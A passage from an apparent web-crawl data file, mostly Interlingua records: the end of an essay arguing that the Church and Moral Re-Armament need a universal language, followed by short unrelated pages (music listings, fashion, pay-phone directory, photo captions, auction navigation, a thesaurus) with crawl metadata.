de un lingua universal.\nIn contra, le nationalismo es ancora resistente a omne approximation. Le chauvinismo linguistic es ancora un facto; le nationalismo es ancora potente. In omne conflictos inter nationalismo contra religion, o nationalismo contra ideologia, le nationalismo prevale. Le christianos son, in prime linea, nationalistas, e solmente in secunde linea christianos: illes face guerras contra altere christianos. Le mesme cosa vale pro le communistas: le conflicto inter Russia e China es un conflicto pro interesses national, travestite per subtilitates ideologic. Nationalismo es le plus potente ideologia del presente - e le plus grande obstaculo contra le introduction del lingua universal.\nLe religiones superior, ultra lor concordias moral e spiritual, ha diverse temperamentos e attitudes physhic, ancorate in lor linguas universal. Christianismo pone maxime emfase super le sentimento - Islam super le poter, si que, pro christiano, DEO es amor, ma pro Islam, Deo es poter.\nHinduismo e buddhismo es plus filosofic. Sembla, que este diversitate non es objectionabile, pro que tamben le homines ha diverse temperamentos e attitudes physhic. Del resto, le historia demonstra que le unification de religiones et ideologias non es necessari pro realisar e mantener le unitate politic e linguistic, e que le libertate religiose et ideologic es un promotor de pace e tamben del consolation interior. Le conversion fortiate ad un religion o ideologia potente era sempre contraproducente: on extorqueva un conformitate insincer et exterior - et on alienava le animas; dunque on produceva disunion latente. Omne homines habe le derecto inalienabile a cognoscer omne grande messages spiritual e a creder lo que illes pote creder sincermente. Quando le homines pote viver secundo lo que illes considera como veritate (spiritual), illes son plus contente, plus pacific e plus unite con le alteres. De plus, omne homines ha le derecto de exprimer lor credo pro converter altere homines a lor 'credo' - fin quando le expression remane inoffensive e non servi a interesses politic e commercial. Inter tal conditiones, le religiones et ideologias pote procurar le maxime conforto spiritual al homines. Tal propaganda es un potente promotor del uso del lingua universal.\nLe lingua del religion non es le lingua del scientia, ma plus tosto le lingua del poesia, que veni ex le profunditate del physhe-subconsciente. Le expressiones linguistic del religion es sovente tentative e provisional, proque on non pote portar que imperfectemente le contento del psyche-subconsciente al physhe-consciente. Le DOGMA es un tentativa de exprimer le intuition religiose in le lingua del filosofia scientific. Le lingua del poesia es multo plus constante que le lingua scientific del filosofia: post 2500 annos le poesia grec es non minus belle que le poesia hodierne, contra que le filosofia grec es antiquate. - Ecce le causa profunde del facto, que le expression linguistic del message original del religiones superior non es sensibilemente antiquate, contra que le interpretationes dogmatico-filosofic es completemente inveterate.\nLe interpretation pro le homine moderne debe esser facte in un lingua universal moderne: le Ecclesia Universal debe parlar in le mesme tempore et in le mesme senso a omne homines de omne linguas. Le interpretation in linguas national va usar inevitabilemente elementos national (esoteric) e, sin voler, favora le disgregation del communitate religiose o ideologic.\nNos vide lo in nostre dies in le communismo marxistic, que comenica a disgregar se in ideologias de colorationes national: in Yugoslavia, China, Italia, Francia. Como le communismo non ha un lingua universal, le interpretation in un lingua national, e sia le plus potente, hic le russe, non sembla acceptabile al altere nationes communista.\nPost le quasi-elimination del latino, tamben in le Ecclesia nos pote observar le prime dissensiones inter le interpretationes national; dunque un periculo de perdir le universalitate. Le historia insenia nos, que le integration verso le lingua universal es sempre un signo de progresso, contra que le disintegration verso le linguas national es sempre un signo de regression.\nUn exemplo particular pro le importantia decisive del lingua universal es le MORAL REARMAMENTO (MRA) qui considera se como un ideologic communitate universal. Ora le MRA usa le anglese con preferentia, con traductiones in omne linguages national. Totevia, traductiones non pote esser plus que un approximation al original. Le plus grande parte del litteratura de MRA existe solmente in anglese; le disponibilitate de libros e revistas in altere linguas es sovente insufficiente. Multe moneta e labor es consumpte per traductiones. Le preponderantia del anglese irrita multe amicos del MRA, perque le nationalismo es ancora un sentimento multo forte - si que le MRA es considerate sovente como un ideologia anglosaxone. Le interpretation del absolute principios moral non es uniforme in le diverse linguas national - e non pote esser uniforme, pro un causa evidente: le parolas anglese son partialmente vehiculos de traditiones anglese. Le parolas de altere linguas non habe este traditiones anglese, ma seque traditiones differente. In tal situationes solmente un lingua universal pote portar remedio: un lingua commun sin elementos national esoteric, pro le tote communitate ideologic. Le adeptos del communitate va continuar a usar lor linguas national in lor relationes national - e va usar le lingua universal in le communitate ideologic universal. Textos uniforme et autentic in lingua universal va servir omne nationes equalmente.\nDel puncto de vista del futur lingua universal le Christianismo es specialmente interessante, perque le ECCLESIA CHRISTIAN ja habeva, successivemente tres linguas universal: aramaico, greco universal (koine) e le latino universal. Del resto, Abraham, grande patriarca del christianitata parlava akkadiano, le prime lingua universal del terra. Dunque le Ecclesia es le plus classic vehiculo pro le lingua universal. Ora, in consequentia del decadentia del latino, le Ecclesia besonia un nove lingua universal, si que le Ecclesia pote esser le plus probabile autoritate pro sanctionar le introduction de un nove lingua universal.\nDe plus, le Ecclesia es in curso de renovar su edificio spiritual, pro poter attraher omne homines in su gremio. Este ambition non es realisabile sin un moderne lingua universal. Assi, le futuro proxime del nove lingua universal pote esser determinate per le Ecclesia Catolic, viste le facto, que le lingua del parolas international es actualmente quasi in le stadio de \"lingua franca\" in experimentation. Le Ecclesia besonia un lingua intelligibile, comprensibile per omne fideles, ante toto per omne personas cultivate, como le latino era in le medievo. Le Ecclesia va excambiar su latino inveterate contra un nove latino, inricchite e simplificate, greco-latino que es le natural successor, le natural lingua universal moderne. Le resultato ser... considerate como un 'AGGIORNAMENTO' del latino ecclesiastic. Le Ecclesia va cambiar su venerabile latino contra un 'latino moderne' como le Ecclesia ja ha cambiate le aramaico con koine e le koine con latino. Le reforma del latino debe esser un complete adaptation del lingua al pensata moderne. Le material linguistic pro le reforma del latino debe venir ex le linguas del cultura moderne, a fin que illes sia comprensibile per omne fideles in omne partes del mundo. Este material es ja collecte e standardisate per 27.000 parolas et elementos grammatic del lingua universal nascente.\nSecundo le ultime statisticas le ECCLESIA Catolic ha 585 milliones de fideles, 1765 episcopos, 235 mille prestres, 334 mille monacos, un million de monacas, 160 mille seminaristas, quaranta universitates, numerosissime scolas, missiones, organisationes del apostolato laic, institutos de cultura e de caritate, hospitales, nunciaturas, centros de dialogo con le non-christianos e con non-credentes. Un gigantesc institution universal! De plus, le Ecclesia es soveran e possede omne premissas e tote le autoritate pro introducer et usar le lingua universal nascente - que es jam immediatemente intelligibile per quasi omne fideles culte in omne partes del mundo. - Le Ecclesia va, in su proprie interesse, reexaminar de omne lateres, le question lingual post le perdita del latino. On dice, que le episcopos african specialmente regretta le latin. Con le latino illes habeva un certe contacto pan-african e con Roma. Si nunc on reimplacia le latino e face toto per le linguas moderne, Africa es bipartite anglo-francese, in ambe partes nemo estima le lingua del ex-colonistas, ancian dominatores.\nComo pote le Ecclesia - in su interesse - facer prime passos? Como face le organisationes international de scientias natural e del medicos: 'summarios in Interlingua' de certe articulos importante (scripte in latino o in lingua moderne). On va vider, que textos in 'latino aggiornate' son melio comprendite per le majoritate del lectores que illes in anglese, o francese, o latino moriente. Tal experientia basta forsan pro que circulos ecclesiastic va recommendar le studio de Interlingua in le scolas superior. Que face le Ecclesia? Attender lo que face alteres? Nulle altere organisation mundial ha non solo evidente avantages in le veniente lingua universal, ma ha anque evidente facilitates in usar la ja nunc, 'mini-experientia' - le lingua del parolas universal. Como nos, o forsan in punctos poco differente). Criterio es le 'comprensibilitate' immediate per personas de cultura general.\nIl es evidente que le Ecclesia va esser le 'matrina' del nove lingua universal multo plus probabilemente, que le UNO (united Nations Organisation) que labora con un decena de linguas (tante traductores ben pagate ha nulle interesse in un lingua univeral). Le Ecclesia es in un situation multo melior pro facer modeste uso, parve passos, pro facer cognite al mundo le lingua universal natural, e render grande servicio al tote mundo cultivitate.\nSin certe auxilio le lingua universal va venir (quasi) 'de se'. Ma passer... forsan per un prefase, in que le anglo-americano sembla o vole devorar toto. Pote le Ecclesia resister a tal tentation?\nLe historia del Reformation demonstra, que le Ecclesia Protestante, non usante un lingua universal, ma linguas national - ha disgregate se in ecclesias national. Le Ecclesia Catolic besonia le nove lingua universal pro conservar su unitate.\nTotevia, le historia demonstra que, pro poter attraher le homine moderne, le christianismo debe facer due concessiones multo importante: un negative e un positive:\n(1) Christianismo debe eliminar su elementos filosofic e linguistic non congenial al homine moderne - como un lingua, in curso de devenir lingua franc o lingua universal, elimina su elementos incomprensibile per le parlantes de altere linguas.\n(2) Christianismo debe incorporar elementos valide e preciose de altere religiones - elementos congenial al homine moderne - como le lingua, in curso de devenir franc o universal, incorpora elementos valide e preciose de altere linguas.\nQui cognosce le historia del christianismo, sape, que pro attraher le populos del civilisation hellenic, christianismo ha facte exactemente le due concessiones supranominate: illo\n(1) ha eliminate le esoteric elementos del judaismo, non cogenial al populos del civilisation hellenic, incluse le lingua aramaic, parlate per Christo mesme.\n(2) ha incorporate le cultural e filosofic elementos valide, preciose e congenial al grecoromanos, incluse le lingua grecoroman universal del epoca (primo koine, pois grecolatino).\nDunque le christianismo debe repeter su strategia spiritual, practicate in facie del mundo hellenic, con successo complete - debe repeter lo in scala ancora plus universal, imbraciante tote le mundo. Pro facer lo, christianismo besonia un lingua universal moderne e congenial al homines participante in le cultura mundial contemporan. Esto es possibile. E alora, qual probabilitate existe, que le strategia va esser coronate per successo?\nPro poter prognosticar, nos debe considerar que omne religiones - inclusive christianismo - ha perdite multo de lor influentia spiritual super le homines. Le grande majoritate del adherentes non practica le religion. Un minoritate practica le religion in maniera formal, habitual, exterior, sin haber le fide - sovente solmente pro presentar belle figura avante le gente, ben que il es un activo deperiente, si on insiste super un practica religiose, sin posseder le fide religiose. Un parte ancora minor ha le fide religiose, ma non vive integralemente secundo le fide. Solo un parte modeste vive integralmente secundo le fide. Solo un parte modeste vive secundo le principios moral e spiritual del religion.\nTotevia, le prime christianos ha conquisite le mundo grecoroman per medio del splendide exemplo de lor vita, secundo le normas moral de Christo, per que le moral del christianos era multo plus alte que le moral del non-christianos.\nIn le presente tal differentia del nivello moral quasi non existe plus: le christianos non son sensibilemente melior que le non-christianos. Pro conquirer le mundo, le christianos debe retornar al integral practica del normas moral de Christo - e tamben, diffunder le message de Christo in un lingua universal, congenial a omne homines participante in le cultura de nostre epoca, como le prime christianos faceva.\nComo nos ha viste: ultra le religiones tamben le IDEOLOGIAS determina le vita e le futuro de multitudes de nostre epoca. Le ideologias son un nove specie de fide, non incompatibile, ma plus tosto apparentate con le religiones. Secundo le definition del grande ideologo, autor e dramaturgo de nostre epoca PETER HOWARD (1908-1965): un ideologia es un fide, secundo le qual su adherentes vive in maniera si convincente, que lor exemplo conquire le cordes e mentes de altere homines. In nostre epoca, le multitudes es quasi plus loyal al ideologias que al religiones.\nUn Ideologia multo cognite es le COMMUNISMO, le qual ha le tendentia de devenir un agnostic contraparitate del christianitate. Communismo es apparentate al christianismo, proque illo considera omne homines como fratres - totevia, sin recognoscer le Patre celeste del fratres, como christianismo. Le cummunismo ha le ambition de conquirer le mundo - e illo ha ja conquiste quasi le medie parte.\nDifficultates eveni al communismo per le materialismo que divide le statos communista inter se. Communismo non ha un lingua universal, e dunque le discussion concernente le principios fundamental infuria se in le campo communista - a causa de explicationes differente in le linguas national.\nUn grande IDEOLOGIA de nostre epoca - minus cognite ma non minus importante - es le\nMORAL REARMAMENTO (MRA);\nillo es fundate essentialmente super le practica del absolute normas moral, commun in omne grande religiones de nostre epoca, e super le practica de meditation sistematic pro discoperir, in nostre consciente, le inspiration del Transhuman Presentia Spiritual. Le moral attitudes de nostre sistema economic e politic es sovente contrari al absolute normas moral: es dishoneste in le affaires, exploita le impuritate, fomenta le egoismo e le odio. Pro este ration MRA considera le difficultates de nostre civilisation como problemas moral, que debe esser resolute per le cambiamento moral del homines, per le developpamento de un melior typo de homine. Como on non pote facer un bon omelette ex mal ovos, on non pote facer un bon societate ex mal homines. Solmente homines melior pote construer un mundo melior.\nMoral Rearmamento (MRA) non es un religion, ma un maniera de viver secundo le absolute normas moral (honestate, puritate, altruismo, amor pur). Nos debe haber absolute normas moral pro poter discerner clarmente inter bon e mal, ration e torto, juste et injuste. Le observation de normas moral es le condition indispensabile pro bon relationes inter homines. Le maniera de viver secundo le normas absolute pote unir omne homines super le mesme platteforma moral.\nMRA non es un 'organisation', ma plus tosto un grande 'familia' mundial, in rapide expansion global, proque le exemplo del adherentes conquire le homines moderne, como le exemplo de prime christianos ha conquisite le greco-romanos MRA es un grande sperantia pro le unification del mundo super un base moral universal. Totevia, tamben le familia mundial de un ideologia universal besonia un lingua universal - analoge al exemplo historic del Ecclesia Universal, le qual besoniava e habeva un lingua universal. Sin un lingua commun pro omne membros del familia mundial le ideologia risca de disgregar se in ideologias; risca de distintegrar se in ideologias national, in le quales le ideologia universal veni subordinate al nationalismo, le qual destrue le universalitate del ideologia universal. Nam le linguas national es troppo impregnate per elementos esoteric del cultura national, per le codice moral national e per le collective egoismo national. Dunque le expression del ideologia in lingua national face le ideologia minus congenial al altere nationalitates. Pro este ration le religiones superior exprimeva lor message e principios in lingua universal - e pro le mesme ration tamben un ideologia universal debe exprimer su message e principios in lingua universal.\nLe linguas national es troppo impregnate per elementos esoteric del cultura national, per le codice moral national e per le collective egoismo national. Dunque le expression del ideologia in lingua national face le ideologia minus congenial al altere nationes. Pro este ration le religiones superior exprime lor message e principios in lingua universal - e pro le mesme ration tamben un ideologia universal debe exprimer su message e principios in lingua universal.\nNos es arrivate al fin de nostre studio. Como CONCLUSION nos pote tentar un PROGNOSTICO general:\n(1) Viste que le expansion de un grande cultura es sempre un precursor del nascentia de un Stato Universal, promoter e vehiculo de un lingua universal, e\n(2) viste que le cultura occidental trova se in fortissime expansion mundial, permeante omne altere culturas, e\n(3) viste que le invention del armas nuclear, le problema del alimentation del humanitate e altere problemas mundial impone al humanitate le creation de Soveran Autoritates Universal (precursores del Stato Universal Mundial), e tal autoritates va haber le soveran poter de introducer un lingua universal, e\n(4) viste que le Ecclesia Christian besonia substituer le latino per un lingua universal moderne, e le Ecclesia ha le soveran poter de facer lo, e\n(5) viste, que un lingua franc mundial de 27.000 parolas universal es in stato de nascentia, e\n(6) viste, finalmente, que sempre le lingua franc le plus comprensibile per omne homines culte fu promote a lingua universal:\nil es probabile, que le futur Soveran Autoritates Universal e le Ecclesia Christian va - un die - adoptar le nascente lingua franc mundial del 27.000 parolas universal e declarer le LINGUA UNIVERSAL de nostre epoca.\nAttendente este die omne personas et organisationes con interesse supranational o mundial.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/interlingua.wikia.com\/wiki\/PRESENTE_E_FUTURO_DEL_LINGUA_UNIVERSAL","date":"2016-09-26T17:17:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660871.1\/warc\/CC-MAIN-20160924173740-00067-ip-10-143-35-109.ec2.internal.warc.gz","language":"ina","language_score":0.9998304248,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"ina_Latn_score\": 0.999830424785614}","num_words":21140,"character_repetition_ratio":0.08,"word_repetition_ratio":0.006,"special_characters_ratio":0.178,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":675.0,"cluster_detection":-1} +{"text":"Descargar Musica de Peter Roe Reunion Online\nDescargar musica de peter roe reunion online gratis.\n¿ Te gusta peter roe reunion ?\nResultados :\nEscuchar musica de peter roe reunion\nPeter RoeLast Reunion04:33\nPeter RoeThe Last Reunion (Epic Cinematic Emotional Orchestral)04:36\nPeter RoeLast Reunion (Epicmusicvn Series)03:39\nPeter RoeLast Reunion04:36\nPeter RoeLast Reunion02:39\nPeter Roe Last Reunion (сокращенная)01:54\nPeter RoeReunion02:54\nPeter RoeLast Reunion (Epicmusicvn Series)01:59\nComentarios de Taringa MP3","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/mp3taringa.net\/mp3\/peter-roe-reunion","date":"2016-10-28T22:06:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988725475.41\/warc\/CC-MAIN-20161020183845-00171-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.5281276107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5281276106834412, \"lim_Latn_score\": 0.08586862683296204, \"spa_Latn_score\": 0.041643306612968445, \"vec_Latn_score\": 0.03606128320097923, \"eng_Latn_score\": 0.02678859233856201, \"pap_Latn_score\": 0.026749495416879654, \"ile_Latn_score\": 0.026060424745082855, \"ast_Latn_score\": 0.019594350829720497, \"glg_Latn_score\": 0.01658088155090809, \"por_Latn_score\": 0.014659562148153782, \"srd_Latn_score\": 0.010926852934062481, \"lat_Latn_score\": 0.010710006579756737}","num_words":133,"character_repetition_ratio":0.186,"word_repetition_ratio":0.081,"special_characters_ratio":0.233,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.194,"perplexity_score":9461.7,"cluster_detection":-1} +{"text":"Accueil Look du jour Le look de Le Happy Look du jour Le look de Le Happy Partager sur Facebook Tweeter sur twitter Le Happy Le look de Le Happy , #lookbook #streetfashion #mode ARTICLES CONNEXESPLUS DE L'AUTEUR Fashion Week Paris Couture 2015 avec Oleksandra Nova Le look de Nadia Aboulohosn Le look de Stockholm Streetstyle Le look de City of Skirts Le look de Lust For Life Le look de Not Your Standard Le look de teandtwosugars.blogspot.com Le look de Kayture Le look de Kayture Le look de Lust For Life Le look de Stockholm Streetstyle Le look de Gal Meets Glam TOP","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bianoti.com\/le-look-dele-happy-9.html","date":"2016-10-22T20:06:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719041.14\/warc\/CC-MAIN-20161020183839-00310-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.3082042634,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"ina_Latn_score\": 0.3082042634487152, \"fra_Latn_score\": 0.24299976229667664, \"yua_Latn_score\": 0.1000637486577034, \"nds_Latn_score\": 0.07900329679250717, \"hat_Latn_score\": 0.06619852036237717, \"lmo_Latn_score\": 0.02013392560184002, \"wol_Latn_score\": 0.017973145470023155, \"zpi_Latn_score\": 0.017845969647169113, \"jam_Latn_score\": 0.014690077863633633}","num_words":197,"character_repetition_ratio":0.164,"word_repetition_ratio":0.17,"special_characters_ratio":0.2,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.157,"perplexity_score":6113.0,"cluster_detection":-1} +{"text":"|Pay Telephones in Alabama||Pay Telephones in Alaska|\n|Pay Telephones in Alberta||Pay Telephones in Arizona|\n|Pay Telephones in Arkansas||Pay Telephones in British Columbia|\n|Pay Telephones in California||Pay Telephones in Colorado|\n|Pay Telephones in Connecticut||Pay Telephones in Delaware|\n|Pay Telephones in Florida||Pay Telephones in Georgia|\n|Pay Telephones in Hawaii||Pay Telephones in Idaho|\n|Pay Telephones in Illinois||Pay Telephones in Indiana|\n|Pay Telephones in Iowa||Pay Telephones in Kansas|\n|Pay Telephones in Kentucky||Pay Telephones in Louisana|\n|Pay Telephones in Maine||Pay Telephones in Manitoba|\n|Pay Telephones in Maryland\/DC||Pay Telephones in Massachusetts|\n|Pay Telephones in Michigan||Pay Telephones in Minnesota|\n|Pay Telephones in Mississippi||Pay Telephones in Missouri|\n|Pay Telephones in Montana||Pay Telephones in Nebraska|\n|Pay Telephones in Nevada||Pay Telephones in New Brunswick|\n|Pay Telephones in New Hapshire||Pay Telephones in New Jersey|\n|Pay Telephones in New Mexico||Pay Telephones in New York|\n|Pay Telephones in Newfoundland and Labrador||Pay Telephones in North Carolina|\n|Pay Telephones in North Dakota||Pay Telephones in Northwest Territories|\n|Pay Telephones in Nova Scotia||Pay Telephones in Nunavut|\n|Pay Telephones in Ohio||Pay Telephones in Oklahoma|\n|Pay Telephones in Ontario||Pay Telephones in Oregon|\n|Pay Telephones in Pennsylvania||Pay Telephones in Prince Edwards Island|\n|Pay Telephones in Quebec||Pay Telephones in Rhode Island|\n|Pay Telephones in Saskatchewan||Pay Telephones in South Carolina|\n|Pay Telephones in South Dakota||Pay Telephones in Tennessee|\n|Pay Telephones in Texas||Pay Telephones in Utah|\n|Pay Telephones in Vermont||Pay Telephones in Virginia|\n|Pay Telephones in Washington||Pay Telephones in West Virginia|\n|Pay Telephones in Wisconsin||Pay Telephones in Wyoming|\n|Pay Telephones in Yukon|","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/industrynet.com\/categories\/TE0104\/pay-telephones","date":"2016-12-07T21:37:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542246.21\/warc\/CC-MAIN-20161202170902-00072-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.3445938826,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.34459388256073, \"war_Latn_score\": 0.12453027814626694, \"cbk_Latn_score\": 0.0865146666765213, \"eng_Latn_score\": 0.07938288152217865, \"mlp_Latn_score\": 0.04143839329481125, \"ile_Latn_score\": 0.03581719100475311, \"ncl_Latn_score\": 0.030689463019371033, \"azz_Latn_score\": 0.028005920350551605, \"ncj_Latn_score\": 0.023037761449813843, \"taq_Latn_score\": 0.017200708389282227, \"lat_Latn_score\": 0.012736842967569828, \"dag_Latn_score\": 0.01191579271107912}","num_words":523,"character_repetition_ratio":0.447,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":0.143,"perplexity_score":14529.2,"cluster_detection":-1} +{"text":"|Antwerpen Diamond trader Photo Peter de Ru|\n|Bertha, Betania 1971 Photo Peter de Ru|\n|Compass Dukdalf Rotterdam 1979 Photo Peter de Ru|\n|Kindergarten Romania 1983 Photo Peter de Ru|\n|Conversation Photo Peter de Ru|\n|Late Afternoon.Rotterdam 1984 Photo Peter de Ru|\n|Waste Collectors Romania Photo Peter de Ru|\nWeb - Peter de Ru","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.591photography.com\/2012\/10\/peter-de-ru.html","date":"2017-01-19T12:57:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280668.34\/warc\/CC-MAIN-20170116095120-00367-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.5069903135,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"ina_Latn_score\": 0.5069903135299683, \"frp_Latn_score\": 0.17519599199295044, \"vec_Latn_score\": 0.05001038312911987, \"nob_Latn_score\": 0.045736368745565414, \"srd_Latn_score\": 0.021664343774318695, \"glg_Latn_score\": 0.018348446115851402, \"nds_Latn_score\": 0.013047732412815094, \"ben_Latn_score\": 0.010025165043771267}","num_words":93,"character_repetition_ratio":0.288,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.277,"perplexity_score":14782.9,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite carrelli elevatori » Aste per le vendite carrelli elevatoriAste per le vendite macchine da magazzino » Aste per le vendite carrelli elevatori YALEAste per le vendite CATERPILLARAste per le vendite HYSTERAste per le vendite JCBAste per le vendite KOMATSUAste per le vendite LINDEAste per le vendite MANITOUAste per le vendite MERLOAste per le vendite NISSANAste per le vendite TOYOTA","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/autoline-eu.it\/-\/Aste\/carrelli-elevatori\/YALE--a5c396tm3366","date":"2017-04-29T17:46:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123549.87\/warc\/CC-MAIN-20170423031203-00053-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.6359305382,"language_script":"Latn","minhash_cluster_size":280,"top_langs":"{\"ina_Latn_score\": 0.6359305381774902, \"nap_Latn_score\": 0.1347791850566864, \"ita_Latn_score\": 0.09101609140634537, \"frp_Latn_score\": 0.08916977047920227, \"lmo_Latn_score\": 0.026734475046396255}","num_words":127,"character_repetition_ratio":0.393,"word_repetition_ratio":0.042,"special_characters_ratio":0.169,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.846,"perplexity_score":3020.6,"cluster_detection":-1} +{"text":"Thesauro c 9 807paginas in iste wiki Add New Page Modificar Classic editor Historia Discussion0 Share Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z CModificar C cabalaModificar cabalarModificar cabalar vb cabalistaModificar cabalisticModificar cabalistico(s) \/ cabalistica(s) cabanaModificar cabana de anachoretaModificar cabana de eremitaModificar cabana de foliosModificar cabana de negrosModificar cabana de paleaModificar cabana de pastoresModificar cabana de piscatorModificar cabana de plagiaModificar cabana de reclusoModificar cabaret [F]Modificar cabaret nocturneModificar cabaret nocturno cabareteroModificar cabaretistaModificar cabestanModificar cabinaModificar cabina a \/ sub pressionModificar cabina de \/ del ascensorModificar cabina de ascoltaModificar cabina de banioModificar cabina de duchaModificar cabina de essayageModificar cabina de essayoModificar cabina de luxoModificar cabina de navigationModificar cabina de proba \/ provaModificar cabina de secunde classeModificar cabina de secunda classe cabina de soldaturaModificar cabina de telephono (public)Modificar cabina de telephono (publico) cabina de transformationModificar cabina de votationModificar cabina del pilotaModificar cabina electoralModificar cabina in le proaModificar cabina in la proa cabina pressurisateModificar cabina pressurizata cabina spatialModificar cabina telephonic (public)Modificar cabina telephonica (publica) cabinettoModificar cabinetto de consultationModificar cabinetto de curiositatesModificar cabinetto de laborModificar cabinetto de lecturaModificar cabinetto de medaliasModificar cabinetto de numismaticaModificar cabinetto de picturasModificar cabinetto de studioModificar cabinetto de travalioModificar cabinetto (de unitate) nationalModificar cabinetto majoritariModificar cabinetto majoritario cabinetto minoritariModificar cabinetto minoritario cabinetto umbraModificar cablarModificar cabloModificar cablo a \/ de alte tensionModificar cablo a \/ de alta tension cablo a \/ de candelaModificar cablo aereeModificar cablo aereo cablo antifurtoModificar cablo coaxialModificar cablo conductorModificar cablo de acieroModificar cablo de ammarrageModificar cablo de ancoraModificar cablo de ancorageModificar cablo de cabestanModificar cablo de cauchuModificar cablo de commandoModificar cablo de frenageModificar cablo de frenoModificar cablo de gummaModificar cablo de minaModificar cablo de remolcageModificar cablo de remolcoModificar cablo de salvamentoModificar cablo de salvationModificar cablo de suspensionModificar cablo de transmissionModificar cablo de un sol filoModificar cablo de un solo filo cablo de varie filosModificar cablo de varios filos cablo del ascensorModificar cablo del liftModificar cablo electricModificar cablo electrico cablo flexibileModificar cablo levatoriModificar cablo levatorio cablo multifilarModificar cablo plurifilarModificar cablo sin finModificar cablo submarinModificar cablo submarino cablo subterraneeModificar cablo subterraneo cablo telegraphicModificar cablo telegraphico cablo telephonicModificar cablo telephonico cablo unifilarModificar cablogrammaModificar cabotageModificar cabotarModificar caboteroModificar cabrarModificar cabrar seModificar cabriolet [F]Modificar cacahueteModificar cacahuete [le cacahuete non decorticateModificar cacahuete non decorticato cacahuete non pellateModificar cacahuete non pellato cacahuetes decorticateModificar cacahuetes decorticatos cacahuetes salateModificar cacahuetes salatos cacaoModificar cacao in pulvereModificar cacaoieroModificar cacarModificar cacarearModificar cacataModificar cacata de muscaModificar cacatorioModificar cacatuaModificar cachalote {sh}Modificar cachecticModificar cachectico(s) \/ cachetica(s) cachet [F]Modificar cachexiaModificar Cachmir {sh}Modificar cachmirModificar cachmir [le caciqueModificar cacique [le cacodemoneModificar cacodemone [le cacoetheModificar cacoethe [le cacographiaModificar cacographoModificar cacolaliaModificar cacologiaModificar cacophoneModificar cacophono(s) \/ cacophona(s) cacophoniaModificar cacophonicModificar cacophonico(s) \/ cacophonica(s) cactaceasModificar cactaceeModificar cactaceo(s) \/ cactacea(s) cactiformeModificar cactiforme(s) cactoModificar cacto mamillarModificar cadavereModificar cadavere [le cadavere ambulanteModificar cadavere fetideModificar cadavere fetido cadavere humanModificar cadavere humano cadavere in decompositionModificar cadavere in stato de decomposition avantiateModificar cadavere in stato de decomposition avantiata cadavere infesteModificar cadavere infesto cadavere mumificateModificar cadavere mumificato cadavere viventeModificar cadavericModificar cadaverico(s) \/ cadaverica(s) cadaverinaModificar cadaveroseModificar cadaveroso(s) \/ cadaverosa(s) caddie [A]Modificar cadenteModificar cadente(s) cadentiaModificar cadentia finalModificar cadentia plagalModificar cadentiarModificar cadentiar le passoModificar cadentiar un phraseModificar cadentiar una phrase cadentiateModificar cadentiato(s) \/ cadentiata(s) caderModificar cader a terraModificar cader al aquaModificar cader a la aqua cader al inversoModificar cader como un bombaModificar cader como una bomba cader de bordoModificar cader de fatigaModificar cader de Scylla in CharybdisModificar cader de su pedestalloModificar cader de un excesso in le altereModificar cader de un excesso in le altero cader de un extremo al altereModificar cader de un extremo al altero cader del gratiaModificar cader de la gratia cader evanescenteModificar cader evanescendo cader exanime al soloModificar cader in (le) comaModificar cader in combattoModificar cader in decadentiaModificar cader in desuetudeModificar cader in discreditoModificar cader in disfavorModificar cader in disgratiaModificar cader in disusoModificar cader in (le) guerraModificar cader in (la) guerra cader in le insidiaModificar cader in la insidia cader in le manos deModificar cader in las manos de cader in le miseriaModificar cader in la miseria cader in manos inimicModificar cader in manos inimicas cader in morsellosModificar cader in oblidoModificar cader in oblivionModificar cader in peciasModificar cader in plicasModificar cader in repetitionesModificar cader in ruina(s)Modificar cader in spiraModificar cader in syncopeModificar cader in tranceModificar cader in un errorModificar cader in un imboscadaModificar cader in una imboscada cader in un precipitioModificar cader in un vacuoModificar cader inter le manos deModificar cader inter las manos de cader malModificar cader maladeModificar cader [malade(s) \/ malado(s) \/ malada(s)] cader morteModificar cader [morto(s) \/ morta(s)] cader per terraModificar cader preda deModificar cader pro le patriaModificar cader pro la patria cader super le dorsoModificar cader super su posteriorModificar cader victima 